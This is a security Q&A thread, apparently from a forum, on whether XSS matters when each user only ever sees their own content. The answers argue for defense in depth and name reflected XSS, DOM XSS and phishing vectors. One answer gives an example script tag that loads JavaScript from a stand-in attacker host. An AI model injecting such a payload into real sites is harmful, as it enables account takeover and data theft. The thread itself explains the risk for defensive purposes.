Is an XSS attack possible on a website in which all the user generated content sits behind Auth and all content is only and strictly only shown to the user that generated it in the first place?
No user generated content is ever shown to other users in its raw form, not even the admin. It's always aggregated stats and never a string.
tl/dr: Yes! Defense in depth is critical, so any XSS vulnerability is a vulnerability that needs to be fixed, regardless of whether or not a method of exploit is immediately obvious.
Whether intentional or not, there is a question behind your question that is much more important to answer. In essence what you are really asking is:
Do I need to worry about XSS if an attacker can't take advantage of it?
The answer to that is simple: you need to always worry about XSS. Any XSS vulnerability is a danger and, once known, should be fixed in accordance with best practices. This should be taken as a given even without considering specifics of your particular case. The reason is because web applications are rarely static. They change often and quickly.
Something starts life as an admin-only feature, so the developers decide to not worry about security. Six months later a change request comes from management and they want to share part of that feature with customers. The original developers are busy with something else and the new team doesn't notice that there is no XSS protection in the feature at all. As a result, when they push it out to everyone, the application gains a glaring XSS vulnerability. Stuff like that happens all the time. As a result, it's critical that basic application security is properly executed everywhere. The insecure-but-private applications of today invariably become the insecure-and-public applications of tomorrow. This will happen to you.
Finally, defense-in-depth is critical. Many real life breaches happen because an attacker finds one weakness that allows them to exploit another weakness, which leads to another weak spot, that finally leads to something juicy. "My user's only ever see their own data, so XSS doesn't matter" works perfectly fine until an attacker figures out how to inject data into another user's session. The lack of XSS protection will then allow the attacker to gain full access to the other user's data and presumably take over their account, while having XSS protection in place may have instead completely thwarted the attack.
So, are there any ways in which an attacker may inject data into another user's session? There probably are! In particular:
That last one may seem like a bit of a stretch (simply because an SQLi attack is usually a severe problem on its own), but in the case of a write-only SQLi vulnerability it is a legitimate concern.
Having siloed user data isn't sufficient reason to be able to skimp on basic application security, because it rests on an assumption: that user's can never access each others' data. That assumption rarely holds true. If there is no XSS protection in place than an attacker only needs to find one vulnerability anywhere that allows them to inject data into another user's account in order to take it over. However, if you practice proper security everywhere, then an attacker will have to find a vulnerability that allows them to inject data and find a vulnerability that allows their XSS payload to execute. This is a much harder task and will make your users much safer.
What you describe prevents only Stored XSS. But reflected XSS is still possible if cross-site requests are allowed by the server and the authentication status is transported between requests using a session cookie - both things are usually the case. And DOM XSS is even possible without cross-site requests and cookie based authentication since the request is not even sent to the server.
What if a user leaves their account logged in? Normally the attacker would only have a short window of time to exploit this but if there is an XSS vulnerability, they can leave a malicious script which might just give them permanent control of the account, even after password changes.
The script does not even have to be ready at the time. An attacker can inject a
<script src="http://hackerssite.com/not_yet_existent_malicious_script.js"></script>
into the site and later make the script.
The very first usage of XSS I thought of was in this very situation. Suppose the attacker wants to read all the private information stored in the user's account. The attacker crafts a phishing email that looks legitimate and even links to the real site, but the URL includes a concealed script that when it loads, screen-scrapes the webpage and sends all the information to the attacker.
